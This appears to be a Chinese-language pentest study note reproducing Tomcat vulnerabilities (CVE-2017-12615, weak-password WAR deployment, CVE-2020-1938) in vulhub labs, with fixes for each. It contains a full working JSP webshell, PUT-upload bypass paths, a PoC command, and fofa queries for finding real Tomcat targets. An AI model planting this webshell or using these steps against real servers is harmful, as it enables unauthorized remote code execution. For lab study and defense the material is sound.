Tomcat
tomcat是一个开源而且免费的jsp服务器,默认端口:8080,它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。
1.1 CVE-2017-12615
Tomcat put方法任意文件写入漏洞
环境搭建
cd vulhub/tomcat/CVE-2017-12615
vi docker-compose.yml // 配置版本端口 -----端口8080
docker-compose up -d
漏洞复现
打开网页
Tomcat允许适⽤put⽅法上传任意⽂件类型,但不允许jsp后缀⽂件上传,因此我们需要配合 windows的 解析漏洞.
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
抓包,请求体写jsp木马,请求方式改成PUT
jsp木马----密码:passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
漏洞修复
设置readonly 为 true
1.2 后台弱⼝令部署war包
漏洞原理
在tomcat8环境下默认进⼊后台的密码为 tomcat/tomcat ,未修改造成未授权即可进⼊后台,或者管 理员把密码设置成弱⼝令。
影响版本
全版本(前提是⼈家存在弱⼝令)
环境搭建
cd vulhub/tomcat/tomcat8
docker-compose up -d
漏洞复现
1.制作war包
用冰蝎生成jsp木马—>压缩到zip中—>改后缀名为.war
- ⽂件上传成功后,默认会在⽹站根⽬录下⽣成和war包名称⼀致得⽬录,然后⽬录中得🐎就是压缩前的⽂件名
漏洞修复
- 设置强⼝令
- 删除manger⽂件
1.3 CVE-2020-1938
Tomcat⽂件包含漏洞
漏洞原理
由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有Webapp⽬录下的任意⽂件。
影响版本
Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
环境搭建
cd vulhub-master/tomcat/CVE-2020-1938
vi docker-compose.yml
docker-compose up -d
漏洞复现
tomcat默认的conf/server.xml中配置了2个Connector,⼀个为 8080 的对外提供的HTTP协议端⼝, 另外⼀个就是默认的 8009 AJP协议端⼝,两个端⼝默认均监听在外⽹ip。
POC:
python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 靶机IP
漏洞修复
-
更新到最新版本
-
关闭AJP服务,修改Tomcat配置⽂件Service.xml,注释掉。
-
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
-
-
配置ajp配置中的secretRequired跟secret属性来限制认证。
1.4 实战挖洞
fofa
app="tomcat"
server="Apache Tomcat" && body="Apache Tomcat"
识别:如果给你⼀个⽹站你怎么判断它使⽤了tomcat这个中间件呢
默认端⼝ 8080
浏览器的指纹识别插件
默认管理路由 /manage/html
server头 Apache Tomcat